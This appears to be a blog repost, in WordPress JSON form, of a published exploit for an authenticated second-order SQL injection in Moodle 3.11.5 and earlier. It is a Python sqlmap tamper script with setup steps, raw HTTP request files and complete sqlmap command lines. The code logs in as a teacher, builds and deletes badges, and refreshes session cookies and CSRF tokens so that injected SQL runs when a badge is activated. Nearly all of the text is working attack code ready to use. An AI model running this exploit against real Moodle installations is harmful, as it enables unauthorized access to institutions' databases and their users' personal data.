{"id":21851,"date":"2022-03-16T20:58:30","date_gmt":"2022-03-16T17:58:30","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166339\/moodle3115-sql.txt"},"modified":"2022-03-19T09:53:02","modified_gmt":"2022-03-19T06:23:02","slug":"moodle-3-11-5-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/moodle-3-11-5-sql-injection\/","title":{"rendered":"Moodle 3.11.5 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Moodle 3.11.5 &#8211; SQLi (Authenticated)<br \/>\n# Date: 2\/3\/2022<br \/>\n# Exploit Author: Chris Anastasio (@mufinnnnnnn)<br \/>\n# Vendor Homepage: https:\/\/moodle.com\/<br \/>\n# Software Link: https:\/\/github.com\/moodle\/moodle\/archive\/refs\/tags\/v3.11.5.zip<br \/>\n# Write Up: https:\/\/muffsec.com\/blog\/moodle-2nd-order-sqli\/<br \/>\n# Tested on: Moodle 3.11.5+<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/env python<\/p>\n<p dir=\"ltr\">&#8220;&#8221;&#8221;<br \/>\nthanks to:<br \/>\n&#8211;<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"zeFDw5uYVm\"><p><a href=\"https:\/\/pentest.blog\/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper\/\" target=\"_blank\" rel=\"noopener\">Exploiting Second Order SQLi Flaws by using Burp &#038; Custom Sqlmap Tamper<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Exploiting Second Order SQLi Flaws by using Burp &#038; Custom Sqlmap Tamper&#8221; &#8212; Pentest Blog\" src=\"https:\/\/pentest.blog\/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper\/embed\/#?secret=ITWe7nli20#?secret=zeFDw5uYVm\" data-secret=\"zeFDw5uYVm\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><br \/>\n&#8211;<br \/>\nhttps:\/\/book.hacktricks.xyz\/pentesting-web\/sql-injection\/sqlmap\/second-order-injection-sqlmap<br \/>\n&#8211; Miroslav Stampar for maintaining this incredible tool<\/p>\n<p dir=\"ltr\">greetz to:<br \/>\n&#8211; @steventseeley<br \/>\n&#8211; @fabiusartrel<br \/>\n&#8211; @mpeg4codec<br \/>\n&#8211; @0x90shell<br \/>\n&#8211; @jkbenaim<br \/>\n&#8211; jmp<\/p>\n<p dir=\"ltr\">&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">import sys<br \/>\nimport requests<br \/>\nimport re<br \/>\nfrom pprint import pprint<br \/>\nfrom collections import OrderedDict<br \/>\nfrom lib.core.enums import PRIORITY<br \/>\nfrom lib.core.data import conf<br \/>\nfrom lib.core.data import kb<br \/>\nfrom random import sample<br \/>\n__priority__ = PRIORITY.NORMAL<\/p>\n<p dir=\"ltr\">requests.packages.urllib3.disable_warnings()<\/p>\n<p dir=\"ltr\">&#8220;&#8221;&#8221;<br \/>\nMoodle 2.7dev (Build: 20131129) to 3.11.5+ 2nd Order SQLi Exploit by<br \/>\nmuffin (@mufinnnnnnn)<\/p>\n<p dir=\"ltr\">How to use:<br \/>\n1. Define the variables at the top of the tamper() function, example:<br \/>\nusername = &#8220;teacher&#8217;s-username&#8221;<br \/>\npassword = &#8220;teacher&#8217;s-password&#8221;<br \/>\napp_root = &#8220;http:\/\/127.0.0.1\/moodle&#8221;<br \/>\ncourse_id = 3<br \/>\nNOTE: the course_id should be a course that your teacher can<br \/>\ncreate badges on<\/p>\n<p dir=\"ltr\">2. Create a file called `req.txt` that looks like the following. Be<br \/>\nsure to update the `Host:` field&#8230;<\/p>\n<p dir=\"ltr\">POST<br \/>\n\/moodle\/badges\/criteria_settings.php?badgeid=badge-id-replace-me&amp;add=1&amp;type=6<br \/>\nHTTP\/1.1<br \/>\nHost: &lt;your-target-here&gt;<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)<br \/>\nAppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">sesskey=sess-key-replace-me&amp;_qf__edit_criteria_form=1&amp;mform_isexpanded_id_first_header=1&amp;mform_isexpanded_id_aggregation=0&amp;mform_isexpanded_id_description_header=0&amp;field_firstname=0&amp;field_lastname=0&amp;field_lastname=*&amp;field_email=0&amp;field_address=0&amp;field_phone1=0&amp;field_phone2=0&amp;field_department=0&amp;field_institution=0&amp;field_description=0&amp;field_picture=0&amp;field_city=0&amp;field_country=0&amp;agg=2&amp;description%5Btext%5D=&amp;description%5Bformat%5D=1&amp;submitbutton=Save<\/p>\n<p dir=\"ltr\">3. Create a file called `req2.txt` that looks like the following.<br \/>\nAgain, be sure to update the `Host:` field&#8230;<\/p>\n<p dir=\"ltr\">POST \/moodle\/badges\/action.php HTTP\/1.1<br \/>\nHost: &lt;your-target-here&gt;<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)<br \/>\nAppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">id=badge-id-replace-me&amp;activate=1&amp;sesskey=sess-key-replace-me&amp;confirm=1&amp;return=%2Fbadges%2Fcriteria.php%3Fid%3Dbadge_id-replace-me<\/p>\n<p dir=\"ltr\">4. Run the following sqlmap command, make sure the tamper argument<br \/>\nis pointing at this file:<\/p>\n<p dir=\"ltr\">sqlmap -r req.txt &#8211;second-req req2.txt<br \/>\n&#8211;tamper=.\/moodle-tamper.py &#8211;dbms=mysql &#8211;level=5 &#8211;prefix=&#8217;id = 1&#8242;<br \/>\n&#8211;drop-set-cookie &#8211;answer=&#8221;login\/index.php&#8217;. Do you want to<br \/>\nfollow?=n,Do you want to process it=y&#8221; &#8211;test-filter=&#8217;MySQL &gt;= 5.0.12<br \/>\nAND time-based blind (query SLEEP)&#8217; &#8211;current-user &#8211;batch &#8211;flush<\/p>\n<p dir=\"ltr\">NOTES:<br \/>\n&#8211; for some reason after the first run sqlmap complains that<br \/>\nit cannot fingerprint<br \/>\nthe db and will refuse to try enumerating anthing else,<br \/>\nthis<br \/>\nis why there is a flush at the end. I&#8217;m sure it can be<br \/>\nfixed&#8230;<br \/>\n&#8211; you can do error based with this command (if errors are<br \/>\nenabled&#8230;not likely):<br \/>\nsqlmap -r req.txt &#8211;second-req req2.txt<br \/>\n&#8211;tamper=.\/moodle-tamper.py &#8211;dbms=mysql &#8211;level=5 &#8211;prefix=&#8217;id = 1&#8242;<br \/>\n&#8211;level=5 &#8211;drop-set-cookie &#8211;answer=&#8221;login\/index.php&#8217;. Do you want to<br \/>\nfollow?=n,Do you want to process it=y&#8221; &#8211;batch &#8211;current-user<br \/>\n&#8211;fresh-queries &#8211;flush &#8211;test-filter=&#8217;MySQL &gt;= 5.6 AND error-based &#8211;<br \/>\nWHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)&#8217;<\/p>\n<p dir=\"ltr\">How it works (briefly):<br \/>\n&#8211; In order to get our sql query into the database it&#8217;s necessary to<br \/>\ncreate a<br \/>\nbadge and add some criteria. It is when adding the critera that<br \/>\nthe<br \/>\nsql-to-be-executed-2nd-order is inserted into the database.<br \/>\nFinally, when the badge is enabled the injected sql is executed.<br \/>\n&#8211; This tamper script does the following:<br \/>\n&#8211; log in to the app<br \/>\n&#8211; update cookie\/sesskey for both the 1st and 2nd requests<br \/>\n&#8211; make all the requests necessary to create the badge, right up<br \/>\nuntil adding the critera<br \/>\n&#8211; sqlmap itself adds the criteria with whatever payload it&#8217;s testing<br \/>\n&#8211; sqlmap makes the 2nd call to enable the badge (runs the injected sql)<br \/>\n&#8211; next time around the tamper script will delete the badge that it last<br \/>\ncreated to prevent have 10000s of badges for the course<\/p>\n<p dir=\"ltr\">Analysis of the bug:<br \/>\n&#8211; see http:\/\/muffsec.com\/blog\/moodle-2nd-order-sqli\/<\/p>\n<p dir=\"ltr\">Why?:<br \/>\n1. It&#8217;s an interesting bug, 2nd order sqli is more rare (or maybe<br \/>\njust harder to find?)<br \/>\n2. It&#8217;s an interesting use of sqlmap. There are some articles<br \/>\ntalking about using it for 2nd order sqli<br \/>\nbut the use cases outlined are relatively straightforward.<br \/>\nThere&#8217;s a few hacky things being done<br \/>\nwith sqlmap in this script which others might want to do some<br \/>\nday i.e.<br \/>\n&#8211; using the tamper script to authenticate to the app<br \/>\n&#8211; updating the Cookie in sqlmap&#8217;s httpHeader structure<br \/>\n&#8211; updating the CSRF token (sesskey) in the body of both the<br \/>\n1st and 2nd request<br \/>\n3. I wanted to practice programming\/thought it would be fun. Also I<br \/>\ndidn&#8217;t want to reinvent the<br \/>\nwheel with a standalone exploit when sqlmap is just so darn<br \/>\ngood at what it does.<\/p>\n<p dir=\"ltr\">Thoughts:<br \/>\n&#8211; The exploit is not optimized, halfway through writing I realized<br \/>\nthere is a badge<br \/>\nduplication feature which would cut the number of requests<br \/>\ngenerated down significantly.<br \/>\nThere&#8217;s probably many other ways it could be improved as well<br \/>\n&#8211; I didn&#8217;t do much testing&#8230;it works on my system&#8230;<br \/>\n&#8211; I would be surprised if anyone ever put a `Teacher` level sqli to<br \/>\npractical use<br \/>\n&#8211; As a bonus, this bug is also usable as a stored xss<br \/>\n&#8211; Would be cool if moodle&#8217;s bug bounty paid more than kudos<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">def get_user_session(username, password, app_root):<br \/>\n&#8220;&#8221;&#8221;<br \/>\n&#8211; logs in to moodle<br \/>\n&#8211; returns session object, cookie, and sesskey<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">s = requests.Session()<br \/>\nlogin_page = &#8220;{app_root}\/login\/index.php&#8221;.format(app_root=app_root)<\/p>\n<p dir=\"ltr\"># make first GET request to get cookie and logintoken<br \/>\nr = s.get(login_page, verify=False)<\/p>\n<p dir=\"ltr\">try:<br \/>\ntoken = re.findall(&#8216;logintoken&#8221; value=&#8221;(.*?)&#8221;&#8216;, r.text)[0]\nexcept Exception as e:<br \/>\nprint(&#8220;[-] did not find logintoken, is the target correct?&#8221;)<br \/>\nprint(e)<br \/>\nsys.exit(1)<\/p>\n<p dir=\"ltr\">payload = {&#8216;username&#8217;: username, &#8216;password&#8217;: password, &#8216;anchor&#8217;:<br \/>\n&#8221;, &#8216;logintoken&#8217;: token}<\/p>\n<p dir=\"ltr\"># make second request to actually log in<br \/>\n# also let&#8217;s us get the sesskey<br \/>\nr = s.post(login_page, data=payload, allow_redirects=False,<br \/>\nverify=False)<\/p>\n<p dir=\"ltr\"># third request for session test which activates the session<br \/>\ncookie = r.cookies.get_dict()<br \/>\nr = s.get(r.headers[&#8216;Location&#8217;], verify=False)<\/p>\n<p dir=\"ltr\">sesskey = re.findall(&#8216;sesskey&#8221;:&#8221;(.*?)&#8221;&#8216;, r.text)[0]\n<p dir=\"ltr\">if (len(cookie) == 0):<br \/>\nsys.exit(&#8220;[-] Could not establish session! Are credz correct?&#8221;)<\/p>\n<p dir=\"ltr\">print(&#8220;[+] Cookie: {} for user \\&#8221;{}\\&#8221;&#8221;.format(cookie, username))<br \/>\nprint(&#8220;[+] sesskey: {} for user \\&#8221;{}\\&#8221;&#8221;.format(sesskey, username))<\/p>\n<p dir=\"ltr\">return s, cookie, sesskey<\/p>\n<p dir=\"ltr\">def new_badge1(s, sesskey, app_root, course_id):<br \/>\n&#8220;&#8221;&#8221;<br \/>\n&#8211; this is the first request that gets generated when &#8220;add a new badge&#8221;<br \/>\nis clicked.<br \/>\n&#8211; it returns the `client_id`, `itemid`, and `ctx_id` which are<br \/>\nneeded on subsequent requests<br \/>\n&#8211; returns -1 on failure<br \/>\n&#8220;&#8221;&#8221;<br \/>\ntarget_url = &#8220;{app_root}\/badges\/newbadge.php&#8221;.format(app_root=app_root)<\/p>\n<p dir=\"ltr\"># badge type is 2 which is a course badge (rather than a site badge)<br \/>\npayload = {&#8216;type&#8217;: 2, &#8216;id&#8217;: course_id, &#8216;sesskey&#8217;: sesskey}<\/p>\n<p dir=\"ltr\">r = s.post(target_url, data=payload, allow_redirects=False,<br \/>\nverify=False)<\/p>\n<p dir=\"ltr\">try:<br \/>\nclient_id = re.findall(&#8216;&#8221;client_id&#8221;:&#8221;(.*?)&#8221;&#8216;, r.text)[0]\nexcept Exception as e:<br \/>\nprint(&#8220;[-] failed to grab client_id in new_badge1()&#8221;)<br \/>\nprint(e)<br \/>\nreturn -1<\/p>\n<p dir=\"ltr\">try:<br \/>\nitemid = re.findall(&#8216;&#8221;itemid&#8221;:(.*?),&#8221;&#8216;, r.text)[0]\nexcept Exception as e:<br \/>\nprint(&#8220;[-] failed to grab itemid in new_badge1()&#8221;)<br \/>\nprint(e)<br \/>\nreturn -1<\/p>\n<p dir=\"ltr\">try:<br \/>\nctx_id = re.findall(&#8216;&amp;ctx_id=(.*?)&amp;&#8217;, r.text)[0]\nexcept Exception as e:<br \/>\nprint(&#8220;[-] failed to grab ctx_id in new_badge1()&#8221;)<br \/>\nprint(e)<br \/>\nreturn -1<\/p>\n<p dir=\"ltr\">return client_id, itemid, ctx_id<\/p>\n<p dir=\"ltr\">def image_signin(s, sesskey, app_root, client_id, itemid, ctx_id):<br \/>\n&#8220;&#8221;&#8221;<br \/>\n&#8211; sadly, in order to create a badge we have to associate an image<br \/>\n&#8211; this request adds an image which is a moodle logo from wikimedia<br \/>\n&#8211; returns sourcekey on success<br \/>\n&#8211; return -1 on failure<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">target_url =<br \/>\n&#8220;{app_root}\/repository\/repository_ajax.php?action=signin&#8221;.format(app_root=app_root)<\/p>\n<p dir=\"ltr\"># repo id 6 is for when we are downloading an image<br \/>\npayload = {&#8216;file&#8217;:<br \/>\n&#8216;https:\/\/upload.wikimedia.org\/wikipedia\/commons\/thumb\/c\/c6\/Moodle-logo.svg\/512px-Moodle-logo.svg.png&#8217;,<\/p>\n<p dir=\"ltr\">&#8216;repo_id&#8217;: &#8216;6&#8217;, &#8216;p&#8217;: &#8221;, &#8216;page&#8217;: &#8221;, &#8216;env&#8217;: &#8216;filepicker&#8217;,<br \/>\n&#8216;accepted_types[]&#8217;: &#8216;.gif&#8217;, &#8216;accepted_types[]&#8217;: &#8216;.jpe&#8217;,<br \/>\n&#8216;accepted_types[]&#8217;: &#8216;.jpeg&#8217;, &#8216;accepted_types[]&#8217;: &#8216;.jpg&#8217;,<br \/>\n&#8216;accepted_types[]&#8217;: &#8216;.png&#8217;, &#8216;sesskey&#8217;: sesskey,<br \/>\n&#8216;client_id&#8217;: client_id, &#8216;itemid&#8217;: itemid, &#8216;maxbytes&#8217;: &#8216;262144&#8217;,<br \/>\n&#8216;areamaxbytes&#8217;: &#8216;-1&#8217;, &#8216;ctx_id&#8217;: ctx_id}<\/p>\n<p dir=\"ltr\">r = s.post(target_url, data=payload, allow_redirects=False,<br \/>\nverify=False)<\/p>\n<p dir=\"ltr\">try:<br \/>\nsourcekey = re.findall(&#8216;&#8221;sourcekey&#8221;:&#8221;(.*?)&#8221;,&#8221;&#8216;, r.text)[0]\nexcept Exception as e:<br \/>\nprint(&#8220;[-] failed to grab sourcekey in image_signin()&#8221;)<br \/>\nprint(e)<br \/>\nreturn -1<\/p>\n<p dir=\"ltr\">return sourcekey<\/p>\n<p dir=\"ltr\">def image_download(s, sesskey, app_root, client_id, itemid, ctx_id,<br \/>\nsourcekey):<br \/>\n&#8220;&#8221;&#8221;<br \/>\n&#8211; continues the image flow started in image_signin(), here the<br \/>\nactual download happens<br \/>\n&#8211; returns image_id on success<br \/>\n&#8211; return -1 on failure<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">target_url =<br \/>\n&#8220;{app_root}\/repository\/repository_ajax.php?action=download&#8221;.format(app_root=app_root)<\/p>\n<p dir=\"ltr\"># repo id 6 is for when we are downloading from an image from a URL<br \/>\npayload = {&#8216;repo_id&#8217;: &#8216;6&#8217;, &#8216;p&#8217;: &#8221;, &#8216;page&#8217;: &#8221;, &#8216;env&#8217;:<br \/>\n&#8216;filepicker&#8217;, &#8216;accepted_types[]&#8217;: &#8216;.gif&#8217;, &#8216;accepted_types[]&#8217;: &#8216;.jpe&#8217;,<br \/>\n&#8216;accepted_types[]&#8217;: &#8216;.jpeg&#8217;, &#8216;accepted_types[]&#8217;: &#8216;.jpg&#8217;,<br \/>\n&#8216;accepted_types[]&#8217;: &#8216;.png&#8217;, &#8216;sesskey&#8217;: sesskey,<br \/>\n&#8216;client_id&#8217;: client_id, &#8216;itemid&#8217;: itemid, &#8216;maxbytes&#8217;: &#8216;262144&#8217;,<br \/>\n&#8216;areamaxbytes&#8217;: &#8216;-1&#8217;, &#8216;ctx_id&#8217;: ctx_id,<br \/>\n&#8216;title&#8217;: &#8216;512px-Moodle-logo.svg.png&#8217;,<br \/>\n&#8216;source&#8217;:<br \/>\n&#8216;https:\/\/upload.wikimedia.org\/wikipedia\/commons\/thumb\/c\/c6\/Moodle-logo.svg\/512px-Moodle-logo.svg.png&#8217;,<\/p>\n<p dir=\"ltr\">&#8216;savepath&#8217;: &#8216;\/&#8217;, &#8216;sourcekey&#8217;: sourcekey, &#8216;license&#8217;: &#8216;unknown&#8217;,<br \/>\n&#8216;author&#8217;: &#8216;moodle-hax&#8217;}<\/p>\n<p dir=\"ltr\">r = s.post(target_url, data=payload, allow_redirects=False,<br \/>\nverify=False)<\/p>\n<p dir=\"ltr\">try:<br \/>\nimage_id = re.findall(&#8216;,&#8221;id&#8221;:(.*?),&#8221;file&#8217;, r.text)[0]\nexcept Exception as e:<br \/>\nprint(&#8220;[-] failed to grab image_id in image_download()&#8221;)<br \/>\nprint(e)<br \/>\nreturn -1<\/p>\n<p dir=\"ltr\">return image_id<\/p>\n<p dir=\"ltr\">def new_badge2(s, sesskey, app_root, course_id, image_id,<br \/>\nname=&#8221;sqlmap-badge&#8221;, description=&#8221;sqlmap-description&#8221;):<br \/>\n&#8220;&#8221;&#8221;<br \/>\n&#8211; finally we are actually creating the badge<br \/>\n&#8220;&#8221;&#8221;<br \/>\ntarget_url = &#8220;{app_root}\/badges\/newbadge.php&#8221;.format(app_root=app_root)<\/p>\n<p dir=\"ltr\"># badge type is 2 which is a course badge (rather than a site badge)<br \/>\npayload = {&#8216;type&#8217;: &#8216;2&#8217;, &#8216;id&#8217;: course_id, &#8216;action&#8217;: &#8216;new&#8217;,<br \/>\n&#8216;sesskey&#8217;: sesskey,<br \/>\n&#8216;_qf__core_badges_form_badge&#8217;: &#8216;1&#8217;,<br \/>\n&#8216;mform_isexpanded_id_badgedetails&#8217;: &#8216;1&#8217;,<br \/>\n&#8216;mform_isexpanded_id_issuancedetails&#8217;: &#8216;1&#8217;, &#8216;name&#8217;: name,<br \/>\n&#8216;version&#8217;: &#8221;,<br \/>\n&#8216;language&#8217;: &#8216;en&#8217;, &#8216;description&#8217;: description, &#8216;image&#8217;: image_id,<br \/>\n&#8216;imageauthorname&#8217;: &#8221;, &#8216;imageauthoremail&#8217;: &#8221;,<br \/>\n&#8216;imageauthorurl&#8217;: &#8221;,<br \/>\n&#8216;imagecaption&#8217;: &#8221;, &#8216;expiry&#8217;: &#8216;0&#8217;, &#8216;submitbutton&#8217;: &#8216;Create+badge&#8217;}<\/p>\n<p dir=\"ltr\">r = s.post(target_url, data=payload, allow_redirects=False,<br \/>\nverify=False)<\/p>\n<p dir=\"ltr\">try:<br \/>\nbadge_id = re.findall(&#8216;badges\/criteria.php\\?id=(.*?)&#8221;&#8216;, r.text)[0]\nexcept Exception as e:<br \/>\n#print(&#8220;[-] failed to grab badge_id in new_badge2()&#8221;)<br \/>\n#print(e)<br \/>\nreturn -1<\/p>\n<p dir=\"ltr\">return badge_id<\/p>\n<p dir=\"ltr\">def delete_badge(s, sesskey, app_root, course_id, badge_id):<br \/>\n&#8220;&#8221;&#8221;<br \/>\n&#8211; delete the badge<br \/>\n&#8220;&#8221;&#8221;<br \/>\ntarget_url = &#8220;{app_root}\/badges\/index.php&#8221;.format(app_root=app_root)<\/p>\n<p dir=\"ltr\"># badge type is 2 which is a course badge (rather than a site badge)<br \/>\npayload = {&#8216;sort&#8217;: &#8216;name&#8217;, &#8216;dir&#8217;: &#8216;ASC&#8217;, &#8216;page&#8217;: &#8216;0&#8217;, &#8216;type&#8217;: &#8216;2&#8217;,<br \/>\n&#8216;id&#8217;: course_id, &#8216;delete&#8217;: badge_id, &#8216;confirm&#8217;: &#8216;1&#8217;,<br \/>\n&#8216;sesskey&#8217;: sesskey}<\/p>\n<p dir=\"ltr\"># TODO: add validation logic<br \/>\nr = s.post(target_url, data=payload, allow_redirects=False,<br \/>\nverify=False)<\/p>\n<p dir=\"ltr\">def tamper(payload, **kwargs):<\/p>\n<p dir=\"ltr\">username = &#8220;teacher&#8221;<br \/>\npassword = &#8220;password&#8221;<br \/>\napp_root = &#8220;http:\/\/127.0.0.1\/moodle&#8221;<br \/>\ncourse_id = 3<\/p>\n<p dir=\"ltr\"># check if cookie is set<br \/>\n# cookie should not be set in the request file or this script will fail<br \/>\n#<br \/>\nhttps:\/\/stackoverflow.com\/questions\/946860\/using-pythons-list-index-method-on-a-list-of-tuples-or-objects<br \/>\ntry:<br \/>\ncookie_index = [x[0] for x in conf.httpHeaders].index(&#8216;Cookie&#8217;)<br \/>\nexcept ValueError:<br \/>\n# if no cookie is found we run the session initialization routine<br \/>\ns, cookie, sesskey = get_user_session(username, password, app_root)<\/p>\n<p dir=\"ltr\"># this updates the sqlmap cookie<br \/>\nconf.httpHeaders.append((&#8216;Cookie&#8217;,<br \/>\n&#8216;MoodleSession={}&#8217;.format(cookie[&#8216;MoodleSession&#8217;])))<\/p>\n<p dir=\"ltr\"># here we&#8217;re making our own global variable to hold the sesskey<br \/>\nand session object<br \/>\nconf.sesskey = sesskey<br \/>\nconf.s = s<\/p>\n<p dir=\"ltr\"># check if a badge_id is set, if so delete it before making the new one<br \/>\ntry:<br \/>\nconf.badge_id is None<br \/>\ndelete_badge(conf.s, conf.sesskey, app_root, course_id,<br \/>\nconf.badge_id)<br \/>\nexcept AttributeError:<br \/>\n# we should only hit this on the very first run<br \/>\n# we hit the AttributeError because conf.badge_id doesn&#8217;t exist yet<br \/>\npass<\/p>\n<p dir=\"ltr\">#<br \/>\n## do all the badge creation flow up the point of adding the criteria<br \/>\n#<br \/>\nclient_id, itemid, ctx_id = new_badge1(conf.s, conf.sesskey,<br \/>\napp_root, course_id)<br \/>\nsourcekey = image_signin(conf.s, conf.sesskey, app_root, client_id,<br \/>\nitemid, ctx_id)<br \/>\nimage_id = image_download(conf.s, conf.sesskey, app_root,<br \/>\nclient_id, itemid, ctx_id, sourcekey)<\/p>\n<p dir=\"ltr\"># we need to store the badge_id globally<br \/>\nconf.badge_id = new_badge2(conf.s, conf.sesskey, app_root,<br \/>\ncourse_id, image_id)<\/p>\n<p dir=\"ltr\"># &#8211; if badge creation failed try deleting the last known badgeid<br \/>\n# &#8211; it&#8217;s most likely failing because a badge already exists with<br \/>\nthe same name<br \/>\n# &#8211; yes, it&#8217;s ugly<br \/>\n# &#8211; if you control+c and there is a badge with some BS criteria you<br \/>\nwill<br \/>\n# only see an error on the badge management page and won&#8217;t be<br \/>\n# able to delete it through moodle<br \/>\n# &#8211; if the trouble badgeid is known it can be deleted to resolve<br \/>\nthe issue<br \/>\nif (conf.badge_id == -1):<br \/>\nwith open(&#8220;\/tmp\/last-known-badge-id&#8221;, &#8220;r&#8221;) as f:<br \/>\nconf.badge_id = f.read()<br \/>\ndelete_badge(conf.s, conf.sesskey, app_root, course_id,<br \/>\nconf.badge_id)<\/p>\n<p dir=\"ltr\">conf.badge_id = new_badge2(conf.s, conf.sesskey, app_root,<br \/>\ncourse_id, image_id)<br \/>\nif (conf.badge_id == -1):<br \/>\nsys.exit(&#8220;[-] ya done fucked up&#8230;&#8221;)<\/p>\n<p dir=\"ltr\">with open(&#8220;\/tmp\/last-known-badge-id&#8221;, &#8220;w&#8221;) as f:<br \/>\nf.write(conf.badge_id)<\/p>\n<p dir=\"ltr\"># &#8211; update the sesskey and badge_id in the body of the requests<br \/>\n# &#8211; it seems necessary to update both the conf.parameters and<br \/>\nconf.paramDict structures<br \/>\npost =<br \/>\n(&#8220;sesskey={sesskey}&amp;_qf__edit_criteria_form=1&amp;mform_isexpanded_id_first_header=1&amp;&#8221;<br \/>\n&#8220;mform_isexpanded_id_aggregation=0&amp;mform_isexpanded_id_description_header=0&amp;field_firstname=0&amp;&#8221;<br \/>\n&#8220;field_lastname=0&amp;field_lastname=*&amp;field_email=0&amp;field_address=0&amp;field_phone1=0&amp;field_phone2=0&amp;&#8221;<br \/>\n&#8220;field_department=0&amp;field_institution=0&amp;field_description=0&amp;field_picture=0&amp;field_city=0&amp;&#8221;<br \/>\n&#8220;field_country=0&amp;agg=2&amp;description[text]=&amp;description[format]=1&amp;submitbutton=Save&#8221;.format(sesskey=conf.sesskey))<\/p>\n<p dir=\"ltr\">get = &#8220;badgeid={badge_id}&amp;add=1&amp;type=6&#8221;.format(badge_id=conf.badge_id)<\/p>\n<p dir=\"ltr\">conf.parameters = {&#8216;(custom) POST&#8217;: post,<br \/>\n&#8216;GET&#8217;: get,<br \/>\n&#8216;Host&#8217;: conf.parameters[&#8216;Host&#8217;],<br \/>\n&#8216;Referer&#8217;: conf.parameters[&#8216;Referer&#8217;],<br \/>\n&#8216;User-Agent&#8217;: conf.parameters[&#8216;User-Agent&#8217;]}<\/p>\n<p dir=\"ltr\">conf.paramDict = {&#8216;(custom) POST&#8217;: OrderedDict([(&#8216;#1*&#8217;, post)]),<br \/>\n&#8216;GET&#8217;: OrderedDict([(&#8216;badgeid&#8217;, conf.badge_id),<br \/>\n(&#8216;add&#8217;, &#8216;1&#8217;),<br \/>\n(&#8216;type&#8217;, &#8216;6&#8217;)]),<br \/>\n&#8216;Host&#8217;: {&#8216;Host&#8217;: conf.parameters[&#8216;Host&#8217;]},<br \/>\n&#8216;Referer&#8217;: {&#8216;Referer&#8217;:<br \/>\n&#8216;{app_root}\/badges\/criteria_settings.php&#8217;.format(app_root=app_root)},<br \/>\n&#8216;User-Agent&#8217;: {&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT<br \/>\n10.0; Win64; x64) AppleWebKit\/537.36 &#8216;<br \/>\n&#8216;(KHTML, like Gecko)<br \/>\nChrome\/98.0.4758.82 Safari\/537.36&#8217;}}<\/p>\n<p dir=\"ltr\"># we need to update values for the second request too<br \/>\nsecondReq_url = (&#8220;id={badge_id}&amp;activate=1&amp;sesskey={sesskey}&amp;&#8221;<br \/>\n&#8220;confirm=1&amp;return=\/badges\/criteria.php?id={badge_id}&#8221;.format(badge_id=conf.badge_id,<\/p>\n<p dir=\"ltr\">sesskey=conf.sesskey))<\/p>\n<p dir=\"ltr\">kb[&#8216;secondReq&#8217;] =<br \/>\n(&#8216;{app_root}\/badges\/action.php&#8217;.format(app_root=app_root), &#8216;POST&#8217;,<br \/>\nsecondReq_url, None,<br \/>\n((&#8216;Host&#8217;, app_root.split(&#8216;\/&#8217;)[2]),<br \/>\n(&#8216;Content-Type&#8217;, &#8216;application\/x-www-form-urlencoded&#8217;),<br \/>\n(&#8216;Cookie&#8217;,<br \/>\n&#8216;MoodleSession={}&#8217;.format(conf.s.cookies.get_dict()[&#8216;MoodleSession&#8217;])),<br \/>\n# yes, ugly<br \/>\n(&#8216;User-Agent&#8217;, &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64)<br \/>\nAppleWebKit\/537.36&#8217;<br \/>\n&#8216; (KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36&#8217;)))<\/p>\n<p dir=\"ltr\">return payload<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Moodle 3.11.5 &#8211; SQLi (Authenticated) # Date: 2\/3\/2022 # Exploit Author: Chris Anastasio (@mufinnnnnnn) # Vendor Homepage: https:\/\/moodle.com\/ # Software Link: https:\/\/github.com\/moodle\/moodle\/archive\/refs\/tags\/v3.11.5.zip # Write Up: https:\/\/muffsec.com\/blog\/moodle-2nd-order-sqli\/ # Tested on: Moodle 3.11.5+ #!\/usr\/bin\/env python &#8220;&#8221;&#8221; thanks to: &#8211; Exploiting Second Order SQLi Flaws by using Burp &#038; Custom Sqlmap Tamper &#8211; https:\/\/book.hacktricks.xyz\/pentesting-web\/sql-injection\/sqlmap\/second-order-injection-sqlmap &#8211; 